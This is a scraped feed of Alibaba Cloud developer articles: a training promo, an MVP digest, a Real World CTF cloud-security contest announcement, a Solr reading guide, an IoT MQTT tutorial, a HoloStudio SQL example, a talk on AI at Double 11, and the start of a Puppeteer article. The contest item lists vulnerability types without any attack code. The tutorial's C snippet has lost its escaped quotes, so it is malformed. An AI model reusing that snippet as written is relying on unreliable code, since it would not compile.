        培训系列课程为精品小班教学,19 位技术专家面对面指导,一天半深度实操教学,堪称 2019 年度最佳干货课程!大会倒计时最后一周,少量名额售完即止!课程详细说明:

        • 参加培训请选择购买 VIP 套票。中阶培训购买 VIP 套票 1,高阶培训购买 VIP 套票 2。
        • VIP 套票 1 可参与中阶所有课程,VIP 套票 2 可参与包括高阶、中阶培训在内的所有课程。
        • 培训课程咨询:微信(ID:candy1764)

        点击下方链接可了解更多培训课程与 Flink Forward Asia 2019 大会信息,越早预约越能抓住时代先机~

        https://developer.aliyun.com/special/ffa2019-training?spm=a2c6h.13239638.0.0.108f7955H8hcQ7

        ]]>
        MVP一周精选 20191122:创业公司要不要超配CTO? Fri, 02 May 2025 09:39:04 +0800 一周精选头图.jpg

        每周五,又到了分享MVP精彩内容的时刻。“在湖边”活动异彩纷呈,邀请了“奇葩大会”和“吐槽大会”的编剧人员面对面指导入选的12位CEO。刘洪峰作为MVP经历了集训,上场,点评,复盘四个环节的全过程。每个过程都让人耳目一新,感触颇深。本期精选还从数据角度探讨了5G对未来科学发展的影响,深入介绍了数据中台的概念,并对工业企业大数据平台构建提供了一些思路和方法。

        阿里云MVP(阿里云最有价值专家),是专注于帮助他人充分了解和使用阿里云的技术实践领袖。在这里,您可以跟随各行各业技术达人快速Get到行业热点和前沿技术的发展现状。点击了解更多

        【MVP说】

        刘洪峰:湖畔大学之在湖边 ● 畅谈1号位的技术观

        第一次参加会后需要复盘的活动,金句频出,笑料不断。吐槽、辩论、专家点评,都只是一种可以让我们进入深入思考的形式。思考当今这个时代,是一个什么样的时代,我们在这样的时代,能做什么?怎么去做?才能不辜负这个时代--这值得我们每一个创业者去深思。

        朱祺:5G对未来数据科学发展趋势的影响

        本篇介绍了大数据特点,继续从移动互联网数据、物联网数据、产业互联网数据的特征方向探讨了5G对数据科学发展趋势的影响。

        徐季秋:数字化与数据中台的价值思考

        数据中台是指通过数据技术,对海量数据进行采集、计算、存储、加工,同时统一标准和口径。时下我们谈到的数据中台还包括数据模型,算法服务,数据产品,数据管理以及方法论。本文主要从传统企业数字化转型的角度,浅析了数字中台的价值。

        朱丽霞:工业企业大数据平台构建的一些思路和方法

        大数据平台统一管理、集中存储大数据资源,满足高并发,海量数据对高性能计算能力和大容量存储能力的需求,提供数据采集,数据计算,数据存储,数据分析,数据可视化等大量开放能力,确保各系统之间数据的互联互通和共享,为数据的全链条透明化、运营决策的高度智能化提供依据,尽早建立大数据平台具有重要意义。

        【MVP时间】

        刘洪峰:阿里云物联网平台属性、事件,服务详解

        北京叶帆易通科技有限公司CEO刘洪峰,研发了物联网智能网关、YFIOs和YFHMI等物联网中间件软硬件平台。

        本次公开课,刘洪峰老师主要从Alink通信协议及Alink物模型相关问题分享了行业中的案例,重点介绍了Alink协议简介,和物模型的属性上传和下发、事件触发、服务下发。

        即刻关注“阿里云 MVP技术圈”,和MVP共同探索属于每个领域独一无二的道路,我们在阿里云开发者社区等您!

        第11期阿里云 MVP 全球招募如火如荼,一次顶尖技术人才的汇聚,期待您的加入,点击申请

        往期精彩回顾:

        MVP一周精选 20191115
        MVP一周精选 20191108
        MVP一周精选 20191101
        MVP一周精选 20191025

        您还希望阿里云 MVP分享哪些领域的技术思考?请在下方评论区留言。

        ]]>
        Real World CTF x 阿里云:全球首创真实环境 500万等你来战 Fri, 02 May 2025 09:39:04 +0800 2019 年 12 月 7-8 日,长亭科技举办的 2019 Real World CTF 国际网络安全大赛将在北京隆重开启,Real World CTF x 阿里云首次联合举办云安全挑战赛。

        阿里云安全挑战赛

        是全球范围内首次也是唯

        将公有云真实售卖级产品

        融入赛题设计的赛事

        总奖金池高达 500 万

        单项奖金 60 万破历史记录

        为了此次比赛,阿里云首次开放真实的线上运行环境,并挑选 ECS(云服务器)、RDS for MySQL(数据库)、MaxCompute(大数据计算服务)三款云上核心产品接受选手挑战。阿里云安全除了保障云平台安全,提供用户丰富的安全产品和解决方案之外,同样也肩负着云产品安全的重任,内部建立 SPLC 将安全植入在整个产品生命周期中,这次的比赛将进一步检验云产品的安全性,借助更广泛的力量快速提升安全水平,为用户提供更安全的服务。

        阿里云智能安全事业部总经理肖力表示:

        “全面企业上云的拐点已至,我们看到云原生技术红利会给企业带来更加值得期待的变革。 安全也成为企业上云的关键,这次我们全球首次提供真实云环境,拿出我们最核心的云产品接受挑战,是希望能借助更广泛的业界力量,通过‘真枪实弹’来强化和提升我们的安全水位,从而不断为用户提供更安全的产品和服务。”

        本次大赛三大亮点

        1. 赛制新颖,奖金丰厚:完成场景赛任务描述的效果,即可获得一口价60W的现金奖励;同时,总奖金池500万元,开放奖励机会,即使没有完成场景赛任务,其他任何有价值的成果、可能造成安全危害的新发现,本次云挑战赛统统接收,都有对应奖金激励。
        2. 产品广泛,全球首次:赛题除了覆盖业界已有的云虚拟主机,阿里云全球首次特别开放云数据库(RDS for MySQL)、大数据计算服务(MaxCompute)等产品接受挑战,在业内绝无仅有。
        3. 规则透明,核定明确:组委会将特别组织业内公认的明星阵容核定评委,欢迎广大选手发挥一切主观能动性,评委将确保让每一个发现都能兑现!

        比赛形式

        一、场景挑战:选手演示完成指定突破,即获奖金!

        阿里云指定云服务器 ECS、 云数据库 RDS for MySQL、大数据计算服务 MaxCompute 三款产品作为目标,选手需利用攻击目标的安全漏洞,在指定的攻击条件下,演示完成包括代码执行、拒绝服务、账号提权、系统沙箱突破、虚拟机逃逸等指定突破,即可获得奖金。

        _1

        二、漏洞提交:任何有价值的发现,都有相应定级和奖励。

        选手需针对阿里云指定的云服务器 ECS、云数据库 RDS for MySQL、大数据计算服务 MaxCompute 三款产品进行安全漏洞挖掘,发现并提交包括远程代码执行、提权、信息泄漏、拒绝服务等指定漏洞,组委会将根据实际影响决议相关定级及奖励。

        _2

        报名事项

        挑战赛现已开放报名,面向所有地表战队的成员们发出集结号,来亲自挑战真实云环境的安全性。

        • 报名截止时间:2019 / 11 / 30
        • 比赛开始时间:2019 / 12 / 7
        • 评委审核:组委会根据报名信息,在五个工作日内完成对报名项目的审核。
        • 测试环境发放:组委会将在审核通过后与报名选手联系,发放测试环境,请报名选手务必保持手机畅通。
        • 参赛对象:面向全社会开放,请广大企业云安全研究员、在校学生、安全研究爱好者,通通看过来。
        • 报名方式:扫描或长按识别下方二维码进行报名;或直接点击链接报名https://www.bagevent.com/event/registerTicket/6133697

          _

        ]]>
        Solr快速入门文档阅读推荐——官方文档常用章节推荐 Fri, 02 May 2025 09:39:04 +0800 概述

        本文整理了Solr常见用法涉及的基础章节列表,通过这些章节的阅读学习,同学可以零基础快速入门使用Solr,并能够满足大部分企业的业务检索需求开发,掌握了熟悉使用Solr的基本技能。
        由于Solr功能丰富,插件灵活,官方文档仅做手册的编辑方式涵盖所有的功能内容描述,但众多地方还是欠缺连贯性。难做到像教科书一样,让同学从头到尾高效学习一遍。
        这里整理了Solr常用功能涉及的章节列表阅读推荐,并针对具体章节概念做了简单描述,希望未接触过Solr的同学可以快速入门,节省更多的学习时间,快速实践起来。

        章节推荐

        完整官方文档链接如下:solr7.3完整官方文档
        入门阅读可以参照如下目录:

        About This Guide 了解 //默认Solr服务端口8983, 有V1/V2 两种接口访问Solr

        Getting Started 了解

        • Solr Tutorial 了解 //启动solr服务,运行index/search demo
        • A Quick Overview 了解
        • Solr System Requirements 了解 //主要是看具体版本的jdk要求
        • Installing Solr 了解 //了解solr安装过程

        Deployment and Operations 了解

        • Solr Control Script Reference 熟悉 //熟悉solr -help 命令脚本所提供各种管理功能
        • Solr Configuration Files 熟悉 //Cloud模式下的solrconfig.xml和managed-schema作用

        Using the Solr Administration User Interface

        • Overview of the Solr Admin UI 了解 //主要熟悉Cloud模式下的Solr Admin web UI管理collection
        • Logging 了解
        • Cloud Screens 了解
        • Collections / Core Admin 了解
        • Java Properties 了解
        • Thread Dump 了解
        • Collection-Specific Tools了解

          • Documents Screen了解
          • Files Screen 熟悉
          • Query Screen 熟悉
          • Schema Browser Screen 了解
        • Core-Specific Tools

          • Ping 了解
          • Plugins & Stats Screen 了解
          • Segments Info 了解

        Documents, Fields, and Schema Design 熟悉

        • Overview of Documents, Fields, and Schema Design 熟悉 //熟悉solrconfig.xml和managed-schema配置文件
        • Solr Field Types 熟悉

          • Field Type Definitions and Properties 熟悉 //理解 indexed/stored/docValues/multiValued属性
          • Field Types Included with Solr 熟悉 //理解常见类型int/long/double/float/boolean/string 相对应预定义好的类型
          • Field Properties by Use Case 了解 //了解根据业务检索用途,需要开启哪些属性的参照表格
        • Defining Fields 了解
        • Copying Fields 了解
        • Dynamic Fields 了解
        • Other Schema Elements 了解
        • Schema API 熟悉 //熟悉api修改schema配置文件的各种配置项
        • DocValues 理解//查询业务涉及到facet&function/sort 时推荐开启

        Understanding Analyzers, Tokenizers, and Filters 了解

        • Uploading Data with Index Handlers 了解

          • Transforming and Indexing Custom JSON 了解

        Searching 熟悉

        • Query Syntax and Parsing 熟悉

          • Common Query Parameters 熟悉
          • The Standard Query Parser 熟悉
          • Function Queries 了解 //结合facet可以做min/max/avg/sum等聚合统计
        • JSON Request API 了解
        • JSON Facet API 了解
        • Faceting 了解
        • Pagination of Results 熟悉 //场景分页实现与cursorMark深翻
        • Collapse and Expand Results 了解 //聚合分组功能,类似group by
        • Result Grouping 了解
        • Response Writers 了解
        • Near Real Time Searching熟悉 //理解commit相关配置项
        • RealTime Get 了解

        SolrCloud 了解

        • Getting Started with SolrCloud 了解
        • How SolrCloud Works 了解

          • Shards and Indexing Data in SolrCloud 熟悉
          • Distributed Requests 了解
        • SolrCloud Resilience 了解

          • SolrCloud Recoveries and Write Tolerance 了解
          • SolrCloud Query Routing And Read Tolerance 了解
        • SolrCloud Configuration and Parameters 了解

          • Setting Up an External ZooKeeper Ensemble 了解
          • Using ZooKeeper to Manage Configuration Files 了解
          • Collections API 了解
          • Parameter Reference 了解
          • Command Line Utilities 熟悉
          • SolrCloud with Legacy Configuration Files 了解
          • ConfigSets API 熟悉

        The Well-Configured Solr Instance 熟悉

        • Configuring solrconfig.xml 熟悉

          • IndexConfig in SolrConfig 熟悉 //SortingMergePolicy实现预排序,业务查询有固定排序需求的可以考虑
          • UpdateHandlers in SolrConfig 熟悉 //熟悉几个commit参数配置
          • Query Settings in SolrConfig 熟悉 //理解几个cache配置功能,及其应用
        • Solr Cores and solr.xml 了解

          • Format of solr.xml 了解
          • Config Sets 了解 //可以对collection配置目录管理
        • Configuration APIs了解

          • Config API 熟悉 //可以动态修改collection某个配置项

        Monitoring Solr 了解

        • Configuring Logging 了解
        • Performance Statistics Reference 了解 //了解一些关系的metrics指标含义

        Client APIs 熟悉

        • Choosing an Output Format 了解
        • Client API Lineup 了解
        • Using Python 了解
        • Using SolrJ 熟悉 //掌握CloudSolrClient api使用

        小结

        上述章节基本涵盖了大部分企业检索查询需求的功能,也是使用阿里云HBase全文服务的 Solr基础知识。如有特殊的需求,再针对性阅读官方手册即可。
        我们在 solr企业业务常见各种demo与答疑 中整理了许多查询统计场景demo供参考,如有新特性欢迎评论,后续会更新相应demo,供大家使用。

        链接

        云HBase全文服务使用文档
        solr7.3完整官方文档
        solr常用检索查询业务demo

        ]]>
        远程AIoT教育科研平台LinkLab Fri, 02 May 2025 09:39:04 +0800 远程AIoT教育科研平台LinkLab

        当前,物联网应用开发过程普遍存在缺少硬件上手难、技术繁杂开发难、场景复杂部署难等痛点。本文介绍远程AIoT教育科研平台LinkLab,初步探讨物联网开发、教学和实训等方面的集成解决方案。平台由阿里巴巴-浙江大学前沿技术联合研究中心(AZFT)杭州开物教育科技有限公司联合研发。

        1. LinkLab简介

        传统的物联网程序开发需要用户自己选购开发板、传感器等硬件设备并完成设备组装,还要进行驱动程序以及一些链接库的源代码编写,给用户带来麻烦的同时也提高了物联网开发的门槛。那么,能不能让用户在自己家里,只用打开浏览器即可进行物联网远程实验呢?为了解决这些问题,我们开发了LinkLab远程物联网实验系统。那么,LinkLab的优势有哪些?可以主要归纳为三点:

        1. 远程开发。用户无需采购和组装物联网设备,登录平台就可以直接编写自己的代码。平台后台部署了大量物联网设备供用户远程使用。
        2. 快速开发。系统支持包括AliOS Things在内的多个物联网操作系统,这些系统提供了丰富的系统调用和驱动支持。用户可以将注意力集中于应用逻辑上,加快了开发速度。
        3. 在线教学。LinkLab系统提供了丰富的在线教学功能。学员可以在系统上学习物联网相关课程、观看教学视频以及锻炼物联网编程能力。

        LinkLab是一个提供线上课程学习、视频播放、实验题做题、场景编程和考试认证的物联网实验平台,包括远程设备和相应的系统软件。其中系统软件部分一共包含以下几个模块:判题系统,负责对用户做题的输出进行判断;设备中心,负责设备管理和烧写;在线编译器,负责用户代码的编译;WebIDE负责代码编辑工作。用户可以用于学习AIoT知识,锻炼编程能力,并且可以根据自己的想法自由进行实验。
        AliOS-Things可以结合阿里云物联网平台使用。阿里云物联网平台为设备提供安全可靠的连接通信能力,向下连接海量设备,支撑设备数据采集上云;向上提供云端API,服务端通过调用云端API将指令下发至设备端,实现远程控制。
        本文接下来使用ESP32开发板,使用AliOS-Things的mqtt相关接口,实现数据上云的全链路实验。我们使用WebIDE和阿里云互联网平台完成实验,共分为四步:

        1. 在阿里云物联网平台创建物模型;
        2. 在代码编辑器中编写AliOS-Things应用代码;
        3. 连接远程设备;
        4. 提交代码并等待系统判题结果。

        下面通过一个简单的传感数据上云的例子介绍如何使用LinkLab。

        2. WebIDE的使用

        1. 登陆LinkLab平台后,在主页可以看到实验列表。
          1.png
        2. 选择实验并点击对应的“开启”按钮,进入WebIDE界面。
        3. 点击左上角的实验名称按钮,打开题目描述信息和代码编辑器。下面对WebIDE页面布局做简单介绍:
        • 红色框内为实验题列表(以“串口打印”实验为例)。
        • 黄色框内为当前实验题题目描述信息。
        • 蓝色框内为实验操作(包括“连接”、“提交”,其中“连接”按钮用来连接远程物联网设备,“提交”按钮用于当代码编写完成时提交运行)。
        • 绿色框内是代码编辑器。
        • 灰色框内是Shell,负责显示系统日志和用户程序输出信息(用户输出为绿色)。
          2.png

        接下来在绿色的代码编辑器使用AliOS Things,编写C代码,实现简单的数据读取和上传至物联网平台功能。

        3. 阿里云物联网平台配置

        在编写代码之前,需要先在阿里云物联网平台中创建产品与设备,并定义产品的物模型,具体可参考阿里云的文档:创建产品与设备为产品定义物模型

        1. 创建产品。新建设备模型,名称任意,分类为“自定义品类”,联网方式为“WiFi”,数据格式为“ICA 标准数据格式(Alink JSON)”。
        2. 在所创建产品的“功能定义”中为设备模型添加“自定义功能”。我们新增四个属性,分别是“温度(CurrentTemperature)”、“湿度(CurrentHumidity)”、“光照度(mlux)”和“判题密钥(key)”。
        3. 新增测试设备。设备三元组信息位于设备详情中,可以直接复制。
          4.png

        4. 代码编写

        接下来在WebIDE中编写代码。先填写PRODUCT_KEY,PRODUCT_SECRET,DEVICE_NAME与DEVICE_SECRET,这些信息可以在阿里云控制台中找到。程序的大体框架已经给出,只需要填写循环内部的逻辑。
        首先要根据题目的要求,确定循环的次数与每一次循环后的等待时间。然后,按照阿里云文档中关于Alink协议上报设备属性的说明,准备好上报设备属性CurrentTemperature和CurrentHumidity的MQTT消息,存入变量msg_pub中(可以考虑使用sprintf)。然后在循环中,使用IOT_MQTT_Publish方法,将消息发送到阿里云物联网平台。AliOS MQTT的相关函数可参考AliOS源代码中对应函数的注释的说明

        while (cnt < 5) {
            cnt++;
            int ts = time(0);
            msg_len = snprintf(msg_pub, sizeof(msg_pub), "{"
                                    ""id": "123","
                                    ""version": "1.0","
                                    ""params": {"
                                    ""CurrentTemperature": {"
                                    ""value": 20.0,"
                                    ""time": %d"
                                    "},"
                                    ""CurrentHumidity": {"
                                    ""value": 25.0,"
                                    ""time": %d"
                                    "}"
                                    "},"
                                    ""method": "thing.event.property.post""
                                    "}", ts, ts);
        
            topic_msg.payload = (void *)msg_pub;
            topic_msg.payload_len = msg_len;
        
        
            rc = IOT_MQTT_Publish(pclient, TOPIC_PROPERTY_POST, &topic_msg);
            
            EXAMPLE_TRACE("packet-id=%lu, publish topic msg=%s", (uint32_t)rc, msg_pub);
            IOT_MQTT_Yield(pclient, 200);
        
            aos_msleep(1000);
        }
        

        保存以上代码。然后点击“连接”按钮,连接远程设备,如果连接成功会在 Shell出现以下提示,可以进行下一步的操作。
        5.png
        如果在Shell出现连接失败的提示,需要继续等待,直至连接成功。连接设备成功后,可以点击“提交”按钮提交代码,系统将自动完成代码的在线编译和远程烧写等工作,程序的执行结果将显示在Shell中。如果编译出错的话,Shell将给出相应的提示:
        6.png
        判题系统会根据用户程序输出的数据的正确性、输出的次数和时间间隔设定若干得分点,用户可以在最后面看到通过的得分点和具体的得分。
        7.png

        以下是该实验可能部分错误类型列表。

        错误 原因
        次数错误 打印次数与要求不匹配
        时间间隔错误 打印时间间隔与要求不匹配
        消息内容错误 打印内容错误

        5. 实验结果

        程序显示在Shell中的执行结果,如果程序的输出和期望输出一致,系统会提示“ACCEPT”,否则提示为“WRONG ANSWER”,具体参考以上截图。

        程序运行成功后,我们可以登录到阿里云物联网平台,在设备运行状态下查看上传的设备数据。
        9.png

        6. 总结和展望

        本文介绍了如何使用LinkLab物联网实验平台和AliOS Things将传感器数据上传到阿里云物联网平台。由于篇幅有限,LinkLab的更多教育教学功能没能得到充分的展现,未来免费版本、英文版本、考试认证、批量组织实验和自主节点选择等功能将陆续上线,敬请期待!

        ]]>
        如何使用DataWorks--HoloStudio联合查询实时(Blink)、离线(MaxCompute)数据。 Fri, 02 May 2025 09:39:04 +0800 离线大数据场景主要基于MaxCompute进行批量数据分析,实时数据场景主要是依靠实时计算做初步的数据清洗再对接数据库来完成数据的实时分析需求。但随着业务精细化运营的加深以及大促的常态化,单一的数据场景并不能满足业务的需求,而实时离线联合使用的场景诉求变得越来越多。例如双11大促当天快结束时,某手机店铺需要冲击一下销量,运营通过对实时数据分析发现当前店铺的加购率高但是转化不行,为了提高转化率,想针对部分人群发放一些优惠券或者红包来促进转化,但加购的实时人群数量庞大,如何选取最精准的人群成为一大难题。这时,运营调用历史购买数据即离线数据,通过对实时数据和离线数据在某个条件下的聚合查询对用户进行分层,最后筛选出最精准的人群来进行优惠券发放。
        交互式分析与大数据生态无缝打通,在离线数据场景上,与MaxCompute在底层打通,支持直接查询/导入查询MaxCompute数据;在实时数据场景上,提供connect接口,支持实时计算(Blink)数据实时查询实时写入,只需要维护一套系统,就能实现实时离线的交互式查询。今天小编就为大家介绍,如何使用交互式分析来同时完成实时离线联合查询。

        本次案例基于交互式分析的开发平台HoloStudio完成,关于HoloStudio的使用可以请参见往期传送门:
        HoloStudio介绍:《交互式分析六脉神剑》之Dataworks-HoloStudio初体验

        HoloStudio直接查询MaxCompute:在吗?0代码加速查询MaxCompute请查收!

        HoloStudio查询实时计算:学会这个,实时数据(Blink)实时查询实时写入!

        开发平台

        实时计算平台
        DataWorks--HoloStudio

        前提条件

        1.开通实时计算服务
        2.开通MaxCompute服务
        3.开通交互式分析服务
        4.确保以上3个服务在同一个region。

        操作步骤

        1.准备MaxCompute离线数据

        登录DataWorks,新建业务流程--数据开发--ODPS SQL,输入MaxCompute作业信息
        image.png
        在MaxCompute中准备一张用户的离线数据表,主要用来存放以前用户的购买记录,本案例的示例数据如下:
        image.png

        2.准备实时数据

        登录实时计算平台,新建作业,写入实时作业,对数据做初步的清洗,并引用资源包完成交互式分析与实时计算的连接。
        image.png
        作业检无误后提交,在生产环境启动该作业,最终作业输出如下:(数据最终存储在交互式分析里)
        image.png

        3.交互式分析联合查询数据

        登录HoloStudio,在SQL Console里面执行临时查询,查询经过实时计算初步清洗的部分实时数据如下:(
        image.png
        HoloStudio新建外部表,查询的MaxCompute部分离线数据如下:(数据仍然存储在MaxCompute中)
        image.png
        现将实时数据与离线数据按照某个条件做聚合,例如查询过去1-2年购买过且当前加购金额超过8000元的用户。

        SELECT a_id, sum(a_cost) as total from
            (select user_id as a_id, cost as a_cost from holo_demo where salltime >='20171101' and salltime <= '20181101') hdm
             join (SELECT user_id as b_id, cost as b_cost FROM blink_demo where cost >'8000' ) bdm on hdm.a_id = bdm.b_id
        group by a_id;

        join后的部分结果示例如下:
        image.png
        即可通过join后的id筛选出精准人群,来进行优惠券/红包投放。

        本案例只是做简单的示例,具体的场景请根据业务需求进行数据聚合。

        交互式分析与大数据生态无缝打通,不仅能实时查询离线数据以及实时数据,还能对离线数据、实时数据做联合查询,用一套SQL语言,在一套系统里面就能根据业务需求完成开发,无数据的冗余存储业务导入导出操作,在降低成本和运维的同时,也为开发降低难度。既然交互式分析功能这么强大,赶紧用起来把
        如果大家在使用过程中有任何疑问,欢迎进钉钉群询问。
        image.png

        ]]>
        2684亿销售额背后的阿里AI技术 Fri, 02 May 2025 09:39:04 +0800 演讲人:林伟
        整理 | AI前线 赵钰莹

        IMG_5871.JPG

        人工智能生态发展趋势

        大家好,我是林伟,我今天演讲的主题是《AI 突破无限可能—5 亿消费者的云上双 11》。我本人是做系统出身的,但在最近的一些会议上发现,越来越多做系统出身的人开始研究 AI。在 90 年代末的那波热潮里,我有幸在学校的人工智能实验室呆过,那时还在纠结模型效果,最后发现是自己想多了,那时做出来的东西还远远达不到可用的状态。在后来的一段时间内,AI 进入沉寂,最近几年又突然火爆,我在一些学校做交流的时候发现很多同学都在研究 AI 算法,但其实神经网络、遗传算法和模拟算法很多年前就已经出现,最近几年才爆发的最主要原因是数据和算力的提升

        在这之中,云计算也起到了很大作用,只有算力更加充足,才可以拟合出更加有效的模型,这也是阿里巴巴 2009 年坚定投入云计算的重要原因。说到阿里云,其实阿里云有个非常大的客户就是阿里巴巴自己的电商业务,而阿里电商全年最重要的一个活动就是双 11。

        过去几年,阿里双 11 的营业额逐渐升高,这背后更深层次的原因其实是我们实现了核心系统的 100% 上云。上云之后,我们发现 AI 离不开计算,只有具备强大的计算力才可以利用 AI 技术提高效率,双 11 就是一个很好的练兵场。在这样的规模下,如何构造系统、处理数据以及迅速挖掘数据背后的价值是我们在思考的问题。

        在整个大趋势下面,我们可以看到三个因素:
        一是实时化。 双 11 就一天,我们必须理解数据并及时反馈给商家,实时性非常重要,双 11 大屏背后的支撑系统就是通过 Flink 实现实时计算。单纯的销售额可能没有特别大的意义,我们需要进行实时分析以得到更细致的指标,比如用户的购买兴趣、商品类别、供销比、渠道、仓储位置和货源等,我们需要通过实时分析及时反馈给商家、快递公司等,让各方都可以明确如何调整双 11 当天的策略。今年双 11,我们每秒可以处理 25.5 亿条消息,包括买卖消息、快递请求等。

        3C58EC93-6BE0-41F4-8991-7E7671E89E60.png

        二是规模性。 我们不仅需要实时反馈,双 11 结束还需要精细对账给银行和商家。今年,我们仅花费一天时间(也就是 11 月 12 日)就完成了所有报表汇报,这就是通过云平台的弹性来实现的。在这么大的规模下,商家服务效率也是一个问题,原来就是靠人,用电话和小二来服务商家,现在这样的规模体系下就需要用 AI 技术来服务商家,并通过 AI 辅助快递配送,比如机器人可能会询问用户:在不在家?包裹放在哪里等问题。在大家以往的印象中,AI 离生活很远,但辅助快递配送就是一个很具体的场景,可以为用户带来更好的体验,包括淘宝首页的个性化推荐等。

        如今,淘宝推荐也会有一些动态封面,这背后是我们一天分析了 2.5 亿个视频的结果,现在的淘宝上也有很多用短视频卖货宣传的,我们分析了 2.5 亿视频,最后日均商品分析达到 15000 万。我们统计了当天通过视频购买商品的人,发现平均有效时长是 120 秒。通过这种新技术可以促进新的场景。

        三是 AI。 这一切的背后是数据的力量,整个双 11 都是 AI 和数据在驱动。实时性、规模性和 AI 三者相辅相成让双 11 的效率得到了大幅提高,计算处理能力也有了很大提高,这就是 2684 亿销售额背后的技术力量。

        云上双 11 的 AI 能力

        2.png
        回归技术本身。2017 年以前,我们的系统是比较简单的,更多的任务是处理数据和生成报表。一年半以前,我们开始加入更多实时性,用实时数据反馈商业决策,这就有了 MaxCompute 的出现。

        3.png
        如今,整个技术后台非常复杂,我们有非常好的一些计算引擎,可以进行全域数据集成,具备统一的源数据管理、任务管理,智能数据开发和数据合成治理等能力。

        4.png
        说到底,AI 和计算其实是共生体,AI 的繁荣依赖于计算力的积累,所以我们需要很好的数据处理平台进行分析和提取,服务好算法工程师进行创新,比如尝试各种各样的模型、各种各样构造机器学习的方式,看看能否提高人工智能的效率和准确度。

        企业如何构建云上 AI 能力

        上述这些主要是 AI 的场景,接下来,我会着重介绍这些场景背后的 AI 技术,主要围绕飞天 AI 平台,上层是 PAI 和在线推理服务 EAS,然后分为 DSW 开发平台,PAI Studio 和 Auto Learning 三部分,基于训练优化引擎和推理优化引擎,解决大规模分布式数据处理问题。
        5.png

        此外,我们还有在线机器学习系统,可以对用户行为日志进行实时和离线计算,然后抽取特征库,生成批流统一样本,进入样本库,最终进行批流统一模型训练。为什么我们要做这个?一是因为实时性,传统的搜索是非常不敏感的,而我们是在遵循用户兴趣的变化,如果两周更新一次模型可能已经错过了几轮热销商品,我们需要通过在线机器学习的方式进行实时判断,这非常接近于深度学习。在非实时的状态下,工程师可以非常精细的做特征工程,花更多的时间理解数据,利用深度学习本身的特性捕获数据之间的关系,而不是靠专家提取,这是深度学习的好处,但这需要海量的计算才可以完成,而在线机器学习系统会把双 11 当天的日志及时传递到实时计算平台做集合,然后通过分析按照 ID 对数据进行聚合形成样本,最后根据样本做增量学习、验证、部署,只有这样才能快速更新模型,使其遵循用户或者商业的变化。

        6.png
        在这个过程中,我们面临的第二个挑战是模型非常大,因为要“千人千面”,因此需要一个非常大且针对稀疏场景的分布式训练。目前的开源机器学习框架还远远达不到我们的规模要求,我们需要进行大量的优化,以便在稀疏场景下训练大规模数据。如果对深度学习有了解,就应该知道深度学习可以描述非常大的细粒度图,在图上如何进行切割让图的计算和通讯可以更好地平衡是需要考虑的问题。

        通过通信算子融合和基于通信代价的算子下推,我们实现了分布式图优化技术。通过高效内存分配库,比如 thread 库、Share Nothing 执行框架;利用 Spares 特性的通讯;异步训练,通讯和计算充分 overlap;容错、partial checkpoint、autoscale、动态 embedding;支持大规模梯度 optimizer 的方法实现运行框架的优化,如下图所示:

        7.png
        优化之后,性能上达到了七倍提升。稀疏特征规模从数十亿到数百亿,样本从数百亿到上千亿,同时还有上千worker 的分布式增量训练。

        8.png
        在动态封面层面,我们分析了大量视频文件,视频比图片更复杂,因为视频牵涉的环节非常多,需要做视频的预处理,提取视频帧,但不可能每一帧都进行提取,这样做的代价实在是太大了,需要提取视频的关键帧,通过图片识别和目标检测提取,这是很复杂的工作。因此,我们研发了视频平台,帮助视频分析和算法工程师解决问题,具体架构如下图所示:

        9.png
        在视频里面,在线服务其实也很复杂,有分解,也有合成。首先对视频进行分解,然后加以理解并提取,最后进行合成。通过视频 PAI-EAS 在线服务平台,算法工程师只需要编写简单的 Python 代码就可以通过接口调用相应服务,让他们有更多的时间进行创新。

        10.png
        除了上述场景,整个平台最重要的就是支持算法工程师的海量创新。五年以前,阿里的算法模型非常宝贵,写算法的人不是特别多。随着深度学习的演进,现在越来越多的算法工程师在构造模型。为了支撑这些需求,我们进行了 AI 自动化,让算法建模同学专注业务建模本身,由系统将基础设施(PAI)完成业务模型的高效、高性能运行执行。

        11.png
        在深度学习方面,我们分别进行了前端和后端优化。我们希望通过编译技术,系统技术服务实现图优化、任务分割、分布式调度、数据分片、模型分片,通过系统模型选择我们认为最好的方案执行,这是我们整个平台做 PAI 的理念。整个 PAI-Blade 通用推理优化框架分为如下几部分:

        12.png
        通过系列改进,我们也取得了一些优化成果。我们有一个非常大的集群,在集群足够大的时候,我们就可以很好地实现复用。通过资源调度和引擎的配合能够提升 GPU 集群 30% 的利用率。

        13.png
        此外,我们很多 AI 服务都加载在线服务框架,我们叫做 PAI EAS,这个框架是云原生的,可以更好地利用云平台本身的规模性和可扩展性,撑住双 11 当天的海量 AI 请求。因为双 11 不仅是商业数据、购买数据在暴涨,AI 请求也在暴涨,比如智能客服、菜鸟语音当天的服务量都非常大,通过利用云平台的能力,我们可以提供更好的体验。

        14.png

        综上,这些技术支撑了阿里巴巴的所有 BU,支持单任务 5000+ 的分布式训练,有数万台的机器,数千 AI 的服务,日均调用量可以达到上十万的规模。最后,阿里双 11 的成长和 AI 技术的成长以及数据的爆发密不可分。

        嘉宾介绍:

        林伟,阿里云智能计算平台事业部研究员,十五年大数据超大规模分布式系统经验,负责阿里巴巴大数据 MaxCompute 和机器学习 PAI 平台整体设计和构架,推动 MaxCompute2.0,以及 PAI2.0、PAI3.0 的演进。加入阿里之前是微软大数据 Cosmos/Scope 的核心成员,在微软研究院做分布式系统方面的研究,分别致力于分布式 NoSQL 存储系统 PacificA、分布式大规模批处理 Scope、调度系统 Apollo、流计算 StreamScope 以及 ScopeML 分布式机器学习的工作。在 ODSI、NSDI、SOSP、SIGMOD 等系统领域顶级会议发表十余篇论文。

        ]]>
        Serverless 实战 —— 快速开发一个分布式 Puppeteer 网页截图服务 Fri, 02 May 2025 09:39:04 +0800 Puppeteer 是什么?

        image.png

        puppeteer 官网的介绍如下:

        Puppeteer is a Node library which provides a high-level API to control Chrome or Chromium over the DevTools Protocol. Puppeteer runs headless by default, but can be configured to run full (non-headless) Chrome or Chromium.

        通俗描述就是:Puppeteer 可以将 Chrome 或者 Chromium 以无界面的方式运行(当然也可以运行在有界面的服务器上),然后可以通过代码控制浏览器的行为,即使是非界面的模式运行,Chrome 或 Chromium 也可以在内存中正确渲染网页的内容。

        那么 Puppeteer 能做什么呢?其实有很多地方都可以受用 Puppeteer,比如:

        • 生成网页截图或者 PDF
        • 抓取 SPA(Single-Page Application) 进行服务器渲染(SSR)
        • 高级爬虫,可以爬取大量异步渲染内容的网页
        • 模拟键盘输入、表单自动提交、登录网页等,实现 UI 自动化测试
        • 捕获站点的时间线,以便追踪你的网站,帮助分析网站性能问题

        本文选择截图场景作为演示。

        如何快速部署一个分布式 Puppeteer Web 应用?

